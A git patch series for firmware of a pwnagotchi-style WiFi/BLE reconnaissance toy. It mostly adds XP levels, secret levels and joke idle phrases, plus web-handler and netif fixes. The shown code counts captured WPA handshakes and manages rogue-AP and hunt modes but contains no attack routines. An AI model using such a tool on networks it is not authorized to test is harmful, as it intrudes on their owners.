effectiveAmount = (int32_t)(amount * multiplier); + float modeMultiplier = getModeInfo(getCurrentMode()).xpMultiplier; + float prestigeMultiplier = getXPSystem().getXPMultiplier(); + int32_t effectiveAmount = (int32_t)(amount * modeMultiplier * prestigeMultiplier); getXPSystem().addXP(effectiveAmount); } diff --git a/firmware/main/gotchi/gotchi.h b/firmware/main/gotchi/gotchi.h index 19da56f..f1ca54b 100644 --- a/firmware/main/gotchi/gotchi.h +++ b/firmware/main/gotchi/gotchi.h @@ -88,20 +88,40 @@ struct ChallengeInfo { }; struct Stats { + // Core XP int32_t xp; int32_t level; - uint32_t prestige; - uint32_t achievementCount; + int32_t xpToNextLevel; + int32_t xpToMaxLevel; + const char* levelTitle; + uint8_t prestige; + uint8_t progressPercent; + + // Discovery stats uint32_t networksFound; uint32_t handshakesCaptured; + uint32_t bleDevicesFound; uint32_t channelsScanned; - uint32_t uptimeSeconds; - // Session statistics (reset on reboot) - uint32_t sessionNetworks; + // Achievement stats + uint32_t achievementCount; + uint32_t achievementXP; + + // Time stats + uint32_t uptimeSeconds; uint32_t sessionTimeSeconds; - uint32_t sessionStartTime; - uint32_t sessionXPGain; + uint32_t totalSessions; + + // XP stats + int32_t sessionXPGain; + int32_t totalXPGained; + + // Daily challenge + bool dailyChallengeActive; + const char* dailyChallengeName; + bool dailyChallengeComplete; + + // System uint8_t currentChannel; int32_t freeHeap; int32_t minHeap; @@ -135,8 +155,14 @@ Stats getStats(); GotchiConfig getConfig(); void addXP(int32_t amount); const char* getLevelTitle(int level); +const char* getCurrentLevelTitle(); int getXPForLevel(int level); +int getXPToNextLevel(); +int getXPToMaxLevel(); int getXPProgress(int32_t xp, int level); +bool isLevelSecret(int level); +bool isLevelUnlocked(int level); +float getXPMultiplier(); //============================================================================= // ACHIEVEMENTS & CHALLENGES diff --git a/firmware/main/gotchi/idle_dialogue.cpp b/firmware/main/gotchi/idle_dialogue.cpp index 8c475b4..aeba45a 100644 --- a/firmware/main/gotchi/idle_dialogue.cpp +++ b/firmware/main/gotchi/idle_dialogue.cpp @@ -140,6 +140,42 @@ const IdlePhrase IdleDialogue::_modePhrases[] = { {"Idle mode - power saving", IdleMood::OBSERVING, 1, false}, }; +// Enigma phrases - Level 40 hints at secrets +const IdlePhrase IdleDialogue::_enigmaPhrases[8] = { + {"It's not even over yet...", IdleMood::OBSERVING, 2, false}, + {"When is it going to end?", IdleMood::OBSERVING, 3, true}, + {"The answer... almost within reach...", IdleMood::FOCUSED, 2, false}, + {"Something lurks beyond this level...", IdleMood::CURIOUS, 4, true}, + {"I've seen the beyond. It wants more.", IdleMood::FOCUSED, 3, false}, + {"42. But we're not there yet...", IdleMood::FOCUSED, 2, false}, + {"The robot gods demand more scanning...", IdleMood::OBSERVING, 2, false}, + {"There's more... I can feel it.", IdleMood::CURIOUS, 3, true}, +}; + +// Marvin phrases - Level 41 (Marvin the Paranoid Android) +const IdlePhrase IdleDialogue::_marvinPhrases[10] = { + {"Life? Don't talk to me about life...", IdleMood::IDLE_BOT, 1, true}, + {"Here I am, brain the size of a planet, and they ask me to scan WiFi", IdleMood::IDLE_BOT, 2, false}, + {"I've been talking to the main server... It was depressingly boring", IdleMood::IDLE_BOT, 1, false}, + {"At least the death rate's not increasing", IdleMood::IDLE_BOT, 0, false}, + {"The chances of anything coming from Mars are a million to one... but still, they come", IdleMood::FOCUSED, 1, false}, + {"Don't blame me, I'm just a robot", IdleMood::IDLE_BOT, 1, true}, + {"I could give you a lecture on this, but you'd only fall asleep", IdleMood::IDLE_BOT, 1, false}, + {"Ohhh no... not another network...", IdleMood::IDLE_BOT, 2, true}, + {"I've been running for hours... do you know how that feels?", IdleMood::IDLE_BOT, 2, true}, + {"In an infinite universe, the only thing worse than scanning WiFi is... actually, nothing", IdleMood::IDLE_BOT, 1, false}, +}; + +// Deep Thought phrases - Level 42 (final level) +const IdlePhrase IdleDialogue::_deepThoughtPhrases[6] = { + {"The answer is 42.", IdleMood::FOCUSED, 1, true}, + {"I am the ultimate question... and answer.", IdleMood::FOCUSED, 2, true}, + {"Calculating... 7.5 million years later... here we are.", IdleMood::FOCUSED, 1, false}, + {"42. The answer to everything. You're welcome.", IdleMood::EXCITED, 3, true}, + {"I have calculated the meaning of life. Now back to scanning.", IdleMood::FOCUSED, 2, false}, + {"*dons sunglasses* I'm basically a supercomputer now.", IdleMood::EXCITED, 4, true}, +}; + // Mode-specific idle phrases - used during active scanning const IdlePhrase _scoutPhrases[] = { {"Scanning all the things!", IdleMood::OBSERVING, 5, true}, @@ -367,4 +403,21 @@ const char* IdleDialogue::getModeSpecificPhrase(Mode mode) { return "beep boop"; } +const char* IdleDialogue::getLevelPhrase(int level) { + if (level == 40) { + // Enigma - hints at secrets + int count = sizeof(_enigmaPhrases) / sizeof(_enigmaPhrases[0]); + return _enigmaPhrases[rand() % count].text; + } else if (level == 41) { + // Marvin - Paranoid Android quotes + int count = sizeof(_marvinPhrases) / sizeof(_marvinPhrases[0]); + return _marvinPhrases[rand() % count].text; + } else if (level >= 42) { + // Deep Thought - final level + int count = sizeof(_deepThoughtPhrases) / sizeof(_deepThoughtPhrases[0]); + return _deepThoughtPhrases[rand() % count].text; + } + return nullptr; +} + } // namespace gotchi \ No newline at end of file diff --git a/firmware/main/gotchi/idle_dialogue.h b/firmware/main/gotchi/idle_dialogue.h index 79e3064..7649bf8 100644 --- a/firmware/main/gotchi/idle_dialogue.h +++ b/firmware/main/gotchi/idle_dialogue.h @@ -64,6 +64,11 @@ class IdleDialogue { static const IdlePhrase _bleFoundPhrases[]; // When finding BLE device static const IdlePhrase _milestonePhrases[]; // Level up static const IdlePhrase _modePhrases[]; // Mode changes + static const IdlePhrase _enigmaPhrases[8]; // Level 40 - hints at secrets + static const IdlePhrase _marvinPhrases[10]; // Level 41 - Marvin the Paranoid Android + static const IdlePhrase _deepThoughtPhrases[6]; // Level 42 - Deep Thought + + const char* getLevelPhrase(int level); // Get phrase based on current level }; } // namespace gotchi \ No newline at end of file diff --git a/firmware/main/gotchi/mode_manager.cpp b/firmware/main/gotchi/mode_manager.cpp index 2e0fe1e..8640815 100644 --- a/firmware/main/gotchi/mode_manager.cpp +++ b/firmware/main/gotchi/mode_manager.cpp @@ -27,7 +27,24 @@ esp_netif_t* ModeManager::_apNetifHandle = nullptr; ModeManager::ModeManager() : _currentMode(Mode::IDLE), _currentMood(Mood::NEUTRAL), - _beaconSpamming(false), _configModeActive(false), _configTaskHandle(nullptr) { + _beaconSpamming(false), _configModeActive(false), _configTaskHandle(nullptr), + _netifMutex(nullptr) { + _netifMutex = xSemaphoreCreateMutex(); +} + +ModeManager::~ModeManager() { + if (_netifMutex != nullptr) { + vSemaphoreDelete(_netifMutex); + _netifMutex = nullptr; + } +} + +Mode ModeManager::getCurrentMode() const { + return _currentMode; +} + +Mood ModeManager::getCurrentMood() const { + return _currentMood; } void ModeManager::initAPNetif() { @@ -49,9 +66,16 @@ void ModeManager::initAPNetif() { } void ModeManager::deinitWiFi() { - esp_wifi_stop(); + esp_err_t ret = esp_wifi_stop(); + if (ret == ESP_ERR_WIFI_NOT_STARTED) { + ESP_LOGD(TAG, "WiFi was not started, skipping stop"); + return; + } vTaskDelay(pdMS_TO_TICKS(100)); - esp_wifi_deinit(); + ret = esp_wifi_deinit(); + if (ret == ESP_ERR_WIFI_NOT_STARTED) { + ESP_LOGD(TAG, "WiFi driver was not initialized"); + } vTaskDelay(pdMS_TO_TICKS(100)); } @@ -156,10 +180,18 @@ void ModeManager::startRogueMode() { initAPNetif(); + if (_netifMutex != nullptr) { + xSemaphoreTake(_netifMutex, portMAX_DELAY); + } + if (!_apNetifHandle) { _apNetifHandle = esp_netif_create_default_wifi_ap(); } + if (_netifMutex != nullptr) { + xSemaphoreGive(_netifMutex); + } + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); esp_err_t ret = esp_wifi_init(&cfg); if (ret != ESP_OK) { @@ -219,9 +251,13 @@ void ModeManager::stopRogueMode() { static void configModeTask(void* param) { (void)param; ESP_LOGI(TAG, "Config mode task starting..."); - vTaskDelay(pdMS_TO_TICKS(500)); + vTaskDelay(pdMS_TO_TICKS(200)); getWebManager().start(); - ESP_LOGI(TAG, "Config mode ready - visit http://192.168.4.1"); + if (getWebManager().isRunning()) { + ESP_LOGI(TAG, "Config mode ready - visit http://192.168.4.1"); + } else { + ESP_LOGW(TAG, "HTTP server failed to start!"); + } while (getModeManager().isConfigModeActive()) { vTaskDelay(pdMS_TO_TICKS(1000)); @@ -238,10 +274,18 @@ void ModeManager::startConfigMode() { initAPNetif(); + if (_netifMutex != nullptr) { + xSemaphoreTake(_netifMutex, portMAX_DELAY); + } + if (!_apNetifHandle) { _apNetifHandle = esp_netif_create_default_wifi_ap(); } + if (_netifMutex != nullptr) { + xSemaphoreGive(_netifMutex); + } + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); esp_err_t ret = esp_wifi_init(&cfg); if (ret != ESP_OK) { @@ -268,7 +312,22 @@ void ModeManager::startConfigMode() { esp_wifi_set_config(WIFI_IF_AP, &ap_config); esp_wifi_start(); - vTaskDelay(pdMS_TO_TICKS(1000)); + vTaskDelay(pdMS_TO_TICKS(500)); + + esp_netif_ip_info_t ip_info = {0}; + ip_info.ip.addr = ((uint32_t)192 << 24) | ((uint32_t)168 << 16) | ((uint32_t)4 << 8) | (uint32_t)1; + ip_info.netmask.addr = ((uint32_t)255 << 24) | ((uint32_t)255 << 16) | ((uint32_t)255 << 8) | (uint32_t)0; + ip_info.gw.addr = ip_info.ip.addr; + esp_netif_set_ip_info(_apNetifHandle, &ip_info); + + vTaskDelay(pdMS_TO_TICKS(200)); + + esp_netif_ip_info_t ip; + if (esp_netif_get_ip_info(_apNetifHandle, &ip) == ESP_OK) { + ESP_LOGI(TAG, "AP IP: " IPSTR, IP2STR(&ip.ip)); + } else { + ESP_LOGW(TAG, "Failed to get AP IP info"); + } _configModeActive = true; xTaskCreate(configModeTask, "config_task", 4096, NULL, 5, &_configTaskHandle); @@ -282,8 +341,11 @@ void ModeManager::stopConfigMode() { _configModeActive = false; if (_configTaskHandle) { - vTaskDelay(pdMS_TO_TICKS(100)); - _configTaskHandle = nullptr; + vTaskDelay(pdMS_TO_TICKS(200)); + if (_configTaskHandle) { + vTaskDelete(_configTaskHandle); + _configTaskHandle = nullptr; + } } getWebManager().stop(); @@ -304,6 +366,12 @@ void ModeManager::shutdown() { stopMode(_currentMode); _currentMode = Mode::IDLE; _currentMood = Mood::NEUTRAL; + + if (_apNetifHandle) { + esp_netif_destroy(_apNetifHandle); + _apNetifHandle = nullptr; + } + ESP_LOGI(TAG, "ModeManager shutdown"); } diff --git a/firmware/main/gotchi/mode_manager.h b/firmware/main/gotchi/mode_manager.h index fcf0c66..0c6bde0 100644 --- a/firmware/main/gotchi/mode_manager.h +++ b/firmware/main/gotchi/mode_manager.h @@ -7,15 +7,18 @@ #include #include #include +#include +#include namespace gotchi { class ModeManager { public: ModeManager(); + ~ModeManager(); - Mode getCurrentMode() const { return _currentMode; } - Mood getCurrentMood() const { return _currentMood; } + Mode getCurrentMode() const; + Mood getCurrentMood() const; bool isBeaconSpamming() const { return _beaconSpamming; } bool isConfigModeActive() const { return _configModeActive; } @@ -42,6 +45,7 @@ class ModeManager { bool _beaconSpamming; bool _configModeActive; TaskHandle_t _configTaskHandle; + SemaphoreHandle_t _netifMutex; static bool _netifInitialized; static esp_netif_t* _apNetifHandle; }; diff --git a/firmware/main/gotchi/network_db.cpp b/firmware/main/gotchi/network_db.cpp index 8f34b37..17e6e68 100644 --- a/firmware/main/gotchi/network_db.cpp +++ b/firmware/main/gotchi/network_db.cpp @@ -40,6 +40,10 @@ NetworkInfo* NetworkDatabase::addNetwork(const char* ssid, const uint8_t* bssid, return nullptr; } + if (channel < 1 || channel > 14) { + channel = 1; + } + NetworkInfo net; memset(net.ssid, 0, 33); if (ssid) { diff --git a/firmware/main/gotchi/rogue_manager.cpp b/firmware/main/gotchi/rogue_manager.cpp index 5d6bda5..ee6068c 100644 --- a/firmware/main/gotchi/rogue_manager.cpp +++ b/firmware/main/gotchi/rogue_manager.cpp @@ -13,13 +13,10 @@ static const char* TAG = "gotchi_rogue"; namespace gotchi { -static RogueManager* _instance = nullptr; +static RogueManager _instance; RogueManager& getRogueManager() { - if (!_instance) { - _instance = new RogueManager(); - } - return *_instance; + return _instance; } RogueManager::RogueManager() diff --git a/firmware/main/gotchi/web_manager.cpp b/firmware/main/gotchi/web_manager.cpp index 2a806c5..1404918 100644 --- a/firmware/main/gotchi/web_manager.cpp +++ b/firmware/main/gotchi/web_manager.cpp @@ -274,7 +274,11 @@ const char* WebManager::loadHtmlFromFile(const char* path) { esp_err_t WebManager::rootHandler(httpd_req_t* req) { WebManager* wm = getInstance(); - if (!wm) return ESP_FAIL; + if (!wm) { + httpd_resp_set_type(req, "text/plain"); + httpd_resp_send(req, "Service not available", 23); + return ESP_OK; + } const char* html = wm->generateHtml(); httpd_resp_set_type(req, "text/html"); @@ -299,21 +303,32 @@ esp_err_t WebManager::apiConfigHandler(httpd_req_t* req) { char content[256]; int ret = httpd_req_recv(req, content, sizeof(content) - 1); - if (ret <= 0) return ESP_FAIL; + if (ret <= 0) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"error\",\"message\":\"Failed to read request\"}", 48); + return ESP_OK; + } content[ret] = '\0'; - // Parse mode from JSON and set it + ESP_LOGI(TAG, "Config POST received: %s", content); + + // Parse mode from JSON - simple extraction char modeStr[32] = {0}; - if (sscanf(content, "%*[^:]%*c%31s", modeStr) == 1) { - // Remove trailing } - char* p = strchr(modeStr, '}'); - if (p) *p = '\0'; - - // Remove quotes - if (modeStr[0] == '"') memmove(modeStr, modeStr+1, strlen(modeStr)); - int len = strlen(modeStr); - if (len > 0 && modeStr[len-1] == '"') modeStr[len-1] = '\0'; - + char* modeStart = strstr(content, "\"mode\""); + if (modeStart) { + modeStart = strchr(modeStart, ':'); + if (modeStart) { + modeStart++; + while (*modeStart == ' ' || *modeStart == '"') modeStart++; + char* modeEnd = strchr(modeStart, '"'); + if (modeEnd && (modeEnd - modeStart) < 32) { + strncpy(modeStr, modeStart, modeEnd - modeStart); + modeStr[modeEnd - modeStart] = '\0'; + } + } + } + + if (strlen(modeStr) > 0) { Mode m = Mode::IDLE; if (strcmp(modeStr, "SCOUT") == 0) m = Mode::SCOUT; else if (strcmp(modeStr, "HUNT") == 0 && isHuntEnabled()) m = Mode::HUNT; @@ -336,17 +351,27 @@ esp_err_t WebManager::apiStatsHandler(httpd_req_t* req) { Stats s = getStats(); auto networks = getNetworks(); - char json[1024]; + const char* titleStr = s.levelTitle ? s.levelTitle : "Unknown"; + + char json[1536]; int pos = snprintf(json, sizeof(json), - "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"networks\":%u,\"handshakes\":%u," - "\"prestige\":%u,\"achievements\":%u,\"uptime\":\"%us\",\"sessionXP\":%u,\"sessionTime\":\"%us\",\"networksList\":[", + "{\"mode\":\"%s\",\"level\":%d,\"levelTitle\":\"%s\",\"prestige\":%u," + "\"xp\":%d,\"xpToNextLevel\":%d,\"xpToMaxLevel\":%d,\"progressPercent\":%u," + "\"discovery\":{\"networks\":%u,\"handshakes\":%u,\"bleDevices\":%u,\"channels\":%u}," + "\"achievements\":{\"count\":%u,\"total\":37,\"xpEarned\":%d}," + "\"time\":{\"uptime\":%u,\"sessionTime\":%u,\"sessionXP\":%d}," + "\"heap\":{\"free\":%d,\"min\":%d}," + "\"gps\":{\"valid\":%s,\"satellites\":%u,\"lat\":%.6f,\"lon\":%.6f}," + "\"networksList\":[", getModeName(getCurrentMode()), - (int)s.level, (int)s.xp, + (int)s.level, titleStr, (unsigned)s.prestige, + (int)s.xp, (int)s.xpToNextLevel, (int)s.xpToMaxLevel, (unsigned)s.progressPercent, (unsigned)s.networksFound, (unsigned)s.handshakesCaptured, - (unsigned)s.prestige, (unsigned)s.achievementCount, - (unsigned)s.uptimeSeconds, - (unsigned)(s.xp - s.sessionXPGain), - (unsigned)s.sessionTimeSeconds); + (unsigned)s.bleDevicesFound, (unsigned)s.channelsScanned, + (unsigned)s.achievementCount, (int)s.achievementXP, + (unsigned)s.uptimeSeconds, (unsigned)s.sessionTimeSeconds, (int)s.sessionXPGain, + (int)s.freeHeap, (int)s.minHeap, + s.gpsValid ? "true" : "false", (unsigned)s.gpsSatellites, s.gpsLat, s.gpsLon); for (size_t i = 0; i < networks.size() && i < 10; i++) { pos += snprintf(json + pos, sizeof(json) - pos, @@ -404,8 +429,9 @@ esp_err_t WebManager::apiRogueSetTargetHandler(httpd_req_t* req) { int ret = httpd_req_recv(req, content, sizeof(content) - 1); if (ret <= 0) { httpd_resp_set_status(req, "400 Bad Request"); + httpd_resp_set_type(req, "application/json"); httpd_resp_send(req, "{\"error\":\"no_data\"}", 17); - return ESP_FAIL; + return ESP_OK; } content[ret] = '\0'; @@ -468,9 +494,15 @@ esp_err_t WebManager::apiPwnagotchiHandler(httpd_req_t* req) { esp_err_t WebManager::apiPermissionsHandler(httpd_req_t* req) { char content[256]; int ret = httpd_req_recv(req, content, sizeof(content) - 1); - if (ret <= 0) return ESP_FAIL; + if (ret <= 0) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"error\",\"message\":\"No data received\"}", 43); + return ESP_OK; + } content[ret] = '\0'; + ESP_LOGI(TAG, "Received permissions JSON: %s", content); + bool huntEnabled = false; bool rogueEnabled = false; diff --git a/firmware/main/gotchi/wifi_scanner.cpp b/firmware/main/gotchi/wifi_scanner.cpp index d045a94..99988bc 100644 --- a/firmware/main/gotchi/wifi_scanner.cpp +++ b/firmware/main/gotchi/wifi_scanner.cpp @@ -20,8 +20,8 @@ static const int CHANNEL_SEQ_LEN = 13; WifiScanner::WifiScanner() : _initialized(false), _sniffing(false), _scanning(false), - _currentChannel(1), _channelsScanned(0), _lastChannelHop(0), - _hopIntervalMs(500), _channelHopEnabled(true), _hopIndex(0) { + _currentChannel(1), _channelsScanned(0), _channelsVisitedMask(0), + _lastChannelHop(0), _hopIntervalMs(500), _channelHopEnabled(true), _hopIndex(0) { } bool WifiScanner::init() { @@ -235,6 +235,12 @@ void WifiScanner::update() { _currentChannel = CHANNEL_SEQ[_hopIndex]; esp_wifi_set_channel(_currentChannel, WIFI_SECOND_CHAN_NONE); _channelsScanned++; + + // Track visited channels in bitmask (bit 0 = channel 1, bit 12 = channel 13) + if (_currentChannel >= 1 && _currentChannel <= 13) { + _channelsVisitedMask |= (1 << (_currentChannel - 1)); + } + _lastChannelHop = now; } } diff --git a/firmware/main/gotchi/wifi_scanner.h b/firmware/main/gotchi/wifi_scanner.h index 16898b8..3ea0bb2 100644 --- a/firmware/main/gotchi/wifi_scanner.h +++ b/firmware/main/gotchi/wifi_scanner.h @@ -19,6 +19,7 @@ class WifiScanner { bool isSniffing() const { return _sniffing; } uint8_t getCurrentChannel() const { return _currentChannel; } uint32_t getChannelsScanned() const { return _channelsScanned; } + uint16_t getChannelsVisitedMask() const { return _channelsVisitedMask; } bool startSniff(); bool stopSniff(); @@ -41,6 +42,7 @@ class WifiScanner { bool _scanning; uint8_t _currentChannel; uint32_t _channelsScanned; + uint16_t _channelsVisitedMask; uint32_t _lastChannelHop; uint32_t _hopIntervalMs; bool _channelHopEnabled; diff --git a/firmware/main/gotchi/xp_system.cpp b/firmware/main/gotchi/xp_system.cpp index 5c29273..4166c46 100644 --- a/firmware/main/gotchi/xp_system.cpp +++ b/firmware/main/gotchi/xp_system.cpp @@ -12,12 +12,42 @@ static const char* TAG = "gotchi_xp"; namespace gotchi { const char* XPSystem::LEVEL_TITLES[] = { + // Levels 1-8 (original) "Unit", "Watcher", "Scanner", "Seeker", - "Prowler", "Phantom", "Apex", "Omega" + "Prowler", "Phantom", "Apex", "Omega", + // Levels 9-16 (extended scanner roles) + "Observer", "Probe", "Analyst", "Decoder", "Tracker", "Hunter", "Crawler", "Synth", + // Levels 17-24 (advanced roles) + "Cortex", "Nexus", "Matrix", "Quantum", "Singularity", "Hyperion", "Archon", "Titan", + // Levels 25-32 (cosmic/tech) + "Prime", "Alpha", "Omega Prime", "Supreme", "Transcendent", "Paramount", "Glorious", "Eternal", + // Levels 33-39 (ultimate tiers) + "Legendary", "Mythic", "Omnipotent", "Infinite", "Absolute", "Ultimate", "Paramount", + // Level 40 (Enigma - hints at secrets) + "Enigma", + // Levels 41-42 (secret - require special unlock) + "Marvin", "Deep Thought" }; const int XPSystem::XP_PER_LEVEL[] = { - 0, 50, 150, 350, 700, 1200, 2000, 3500 + 0, 50, 150, 350, 700, 1200, 2000, 3500, + 5000, 6500, 8500, 11000, 14000, 17500, 21500, 26000, + 31000, 36500, 42500, 49000, 56000, 63500, 71500, 80000, + 89000, 98500, 108500, 119000, 130000, 141500, 153500, 166000, + 179000, 192500, 206500, 221000, 236000, 251500, 267500, + 290000, + 320000, 420000 +}; + +const int XPSystem::LEVEL_SECRET_UNLOCK[] = { + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, + 0, // Level 40 - Enigma (not secret, but hints at secrets) + 1, // Level 41 - Marvin (secret unlock) + 1 // Level 42 - Deep Thought (secret unlock) }; XPSystem::XPSystem() : _xp(0), _level(1), _prestige(0), _initialized(false) {} @@ -43,7 +73,7 @@ void XPSystem::addXP(int32_t amount) { } void XPSystem::updateLevel() { - for (int i = 7; i >= 0; i--) { + for (int i = 41; i >= 0; i--) { if (_xp >= XP_PER_LEVEL[i]) { _level = i + 1; return; @@ -55,18 +85,18 @@ void XPSystem::updateLevel() { const char* XPSystem::getLevelTitle() const { int lvl = _level; if (lvl < 1) lvl = 1; - if (lvl > 8) lvl = 8; + if (lvl > 42) lvl = 42; return LEVEL_TITLES[lvl - 1]; } int XPSystem::getXPForLevel(int level) const { if (level < 1) level = 1; - if (level > 8) level = 8; + if (level > 42) level = 42; return XP_PER_LEVEL[level - 1]; } int XPSystem::getXPProgress() const { - if (_level >= 8) return 100; + if (_level >= 42) return 100; if (_level < 1) return 0; int currentLevelXP = XP_PER_LEVEL[_level - 1]; @@ -82,8 +112,35 @@ int XPSystem::getXPProgress() const { return progress; } +int XPSystem::getXPToNextLevel() const { + if (_level >= 42) return 0; + return XP_PER_LEVEL[_level] - _xp; +} + +int XPSystem::getXPToMaxLevel() const { + return XP_PER_LEVEL[41] - _xp; +} + +bool XPSystem::isLevelSecret(int level) const { + if (level < 1 || level > 42) return false; + return LEVEL_SECRET_UNLOCK[level - 1] == 1; +} + +bool XPSystem::isLevelUnlocked(int level) const { + if (level < 1 || level > 42) return false; + if (!isLevelSecret(level)) return true; + + if (level == 41) { + return _xp >= XP_PER_LEVEL[39] && _prestige >= 1; + } + if (level == 42) { + return _xp >= XP_PER_LEVEL[40] && _prestige >= 2; + } + return false; +} + void XPSystem::prestigeReset() { - if (_level < 8) return; + if (_level < 42) return; _prestige++; _xp = 0; @@ -93,6 +150,10 @@ void XPSystem::prestigeReset() { ESP_LOGI(TAG, "Prestige! Now at prestige level %u", (unsigned)_prestige); } +float XPSystem::getXPMultiplier() const { + return 1.0f + (_prestige * 0.1f); +} + void XPSystem::loadFromNVS() { nvs_handle_t nvs; esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); diff --git a/firmware/main/gotchi/xp_system.h b/firmware/main/gotchi/xp_system.h index 52af517..0dd9eed 100644 --- a/firmware/main/gotchi/xp_system.h +++ b/firmware/main/gotchi/xp_system.h @@ -18,10 +18,15 @@ class XPSystem { const char* getLevelTitle() const; int getXPForLevel(int level) const; + int getXPToNextLevel() const; + int getXPToMaxLevel() const; int getXPProgress() const; + bool isLevelSecret(int level) const; + bool isLevelUnlocked(int level) const; uint8_t getPrestige() const { return _prestige; } void prestigeReset(); + float getXPMultiplier() const; void loadFromNVS(); void saveToNVS(); @@ -30,6 +35,7 @@ class XPSystem { void updateLevel(); static const char* LEVEL_TITLES[]; static const int XP_PER_LEVEL[]; + static const int LEVEL_SECRET_UNLOCK[]; int32_t _xp; int32_t _level; diff --git a/firmware/main/stackchan/modifiers/speaking.h b/firmware/main/stackchan/modifiers/speaking.h index 08c4545..bdcf03d 100644 --- a/firmware/main/stackchan/modifiers/speaking.h +++ b/firmware/main/stackchan/modifiers/speaking.h @@ -18,15 +18,20 @@ class SpeakingModifier : public Modifier { * @param destroyAfterMs 持续说话时间(0 为永久,直到手动移除) * @param mouthIntervalMs 嘴巴开合频率(默认 180ms) * @param enableMotion 是否在说话时伴随头部微动 + * @param silentGapMs 说话结束后静默 gap 时间(默认 500ms),设为 0 禁用 */ - SpeakingModifier(uint32_t destroyAfterMs = 0, uint32_t mouthIntervalMs = 180, bool enableMotion = true) - : _mouth_interval_ms(mouthIntervalMs), _enable_motion(enableMotion) + SpeakingModifier(uint32_t destroyAfterMs = 0, uint32_t mouthIntervalMs = 180, bool enableMotion = true, uint32_t silentGapMs = 500) + : _mouth_interval_ms(mouthIntervalMs), _silent_gap_duration_ms(silentGapMs), _enable_motion(enableMotion) { uint32_t now = GetHAL().millis(); // 销毁计时 if (destroyAfterMs > 0) { - _destroy_at = now + destroyAfterMs; + // Add slight randomization to speech duration (±150ms) + int32_t randomOffset = Random::getInstance().getInt(-150, 150); + int32_t adjustedDuration = static_cast(destroyAfterMs) + randomOffset; + if (adjustedDuration < 500) adjustedDuration = 500; + _destroy_at = now + static_cast(adjustedDuration); _has_lifetime = true; } @@ -39,6 +44,8 @@ class SpeakingModifier : public Modifier { } _need_get_prev_angles = true; + _is_in_silent_gap = false; + _silent_gap_start = 0; } void _update(Modifiable& stackchan) override @@ -49,10 +56,31 @@ class SpeakingModifier : public Modifier { uint32_t now = GetHAL().millis(); + // 检查静默 gap 逻辑 + if (_is_in_silent_gap) { + if (now - _silent_gap_start >= _silent_gap_duration_ms) { + requestDestroy(); + } + return; + } + // 检查销毁逻辑 if (_has_lifetime && now >= _destroy_at) { - stackchan.avatar().mouth().setWeight(0); // 闭嘴 - requestDestroy(); + // 进入静默 gap 阶段 + if (_silent_gap_duration_ms > 0) { + stackchan.avatar().setSpeech(""); + stackchan.avatar().mouth().setWeight(0); + _is_in_silent_gap = true; + _silent_gap_start = now; + // Add slight randomization to gap duration (±100ms) + int32_t randomOffset = Random::getInstance().getInt(-100, 100); + int32_t adjustedGap = static_cast(_silent_gap_duration_ms) + randomOffset; + if (adjustedGap < 200) adjustedGap = 200; + _silent_gap_duration_ms = static_cast(adjustedGap); + } else { + stackchan.avatar().mouth().setWeight(0); + requestDestroy(); + } return; } @@ -135,11 +163,14 @@ class SpeakingModifier : public Modifier { uint32_t _next_mouth_tick = 0; uint32_t _next_motion_tick = 0; uint32_t _mouth_interval_ms; + uint32_t _silent_gap_duration_ms; + uint32_t _silent_gap_start; bool _has_lifetime = false; bool _enable_motion = false; bool _is_mouth_open = false; bool _need_get_prev_angles = true; + bool _is_in_silent_gap = false; uitk::Vector2i _prev_angles; }; From d671bc780775a97bb9886d01fdc1e20b0844a435 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Tue, 12 May 2026 08:37:15 +0100 Subject: [PATCH 15/17] Make secret levels more mysterious in README --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index c48f595..67d7c9b 100644 --- a/README.md +++ b/README.md @@ -37,9 +37,9 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo - Levels 17-24: Cortex, Nexus, Matrix, Quantum, Singularity, Hyperion, Archon, Titan - Levels 25-32: Prime, Alpha, Omega Prime, Supreme, Transcendent, Paramount, Glorious, Eternal - Levels 33-39: Legendary, Mythic, Omnipotent, Infinite, Absolute, Ultimate, Paramount - - **Level 40: Enigma** (hints at secrets) - - **Level 41: Marvin** (secret - requires prestige 1+) - - **Level 42: Deep Thought** (secret final level - requires prestige 2+) + - **Level 40: Enigma** (something lurks beyond...) + - **Level 41: ???** (the answer approaches...) + - **Level 42: ???** (the ultimate question...) - Prestige system: Reset to level 1, keep prestige count, +10% XP bonus per prestige level - 37 achievements with XP rewards (hybrid system) - Daily challenges with streak tracking From 28482eb935d925361ec6b03001276e16ebc7bcf4 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Tue, 12 May 2026 08:37:34 +0100 Subject: [PATCH 16/17] Hide secret levels completely --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index 67d7c9b..64248e3 100644 --- a/README.md +++ b/README.md @@ -37,9 +37,7 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo - Levels 17-24: Cortex, Nexus, Matrix, Quantum, Singularity, Hyperion, Archon, Titan - Levels 25-32: Prime, Alpha, Omega Prime, Supreme, Transcendent, Paramount, Glorious, Eternal - Levels 33-39: Legendary, Mythic, Omnipotent, Infinite, Absolute, Ultimate, Paramount - - **Level 40: Enigma** (something lurks beyond...) - - **Level 41: ???** (the answer approaches...) - - **Level 42: ???** (the ultimate question...) + - **Secret levels** exist beyond level 40... - Prestige system: Reset to level 1, keep prestige count, +10% XP bonus per prestige level - 37 achievements with XP rewards (hybrid system) - Daily challenges with streak tracking From 0974bbb8afa617cb887ad232053bc1da590473c2 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Tue, 12 May 2026 09:01:29 +0100 Subject: [PATCH 17/17] Add UI template system for consistent mode styling --- firmware/main/gotchi/ui_template.cpp | 169 +++++++++++++++++++++++++++ 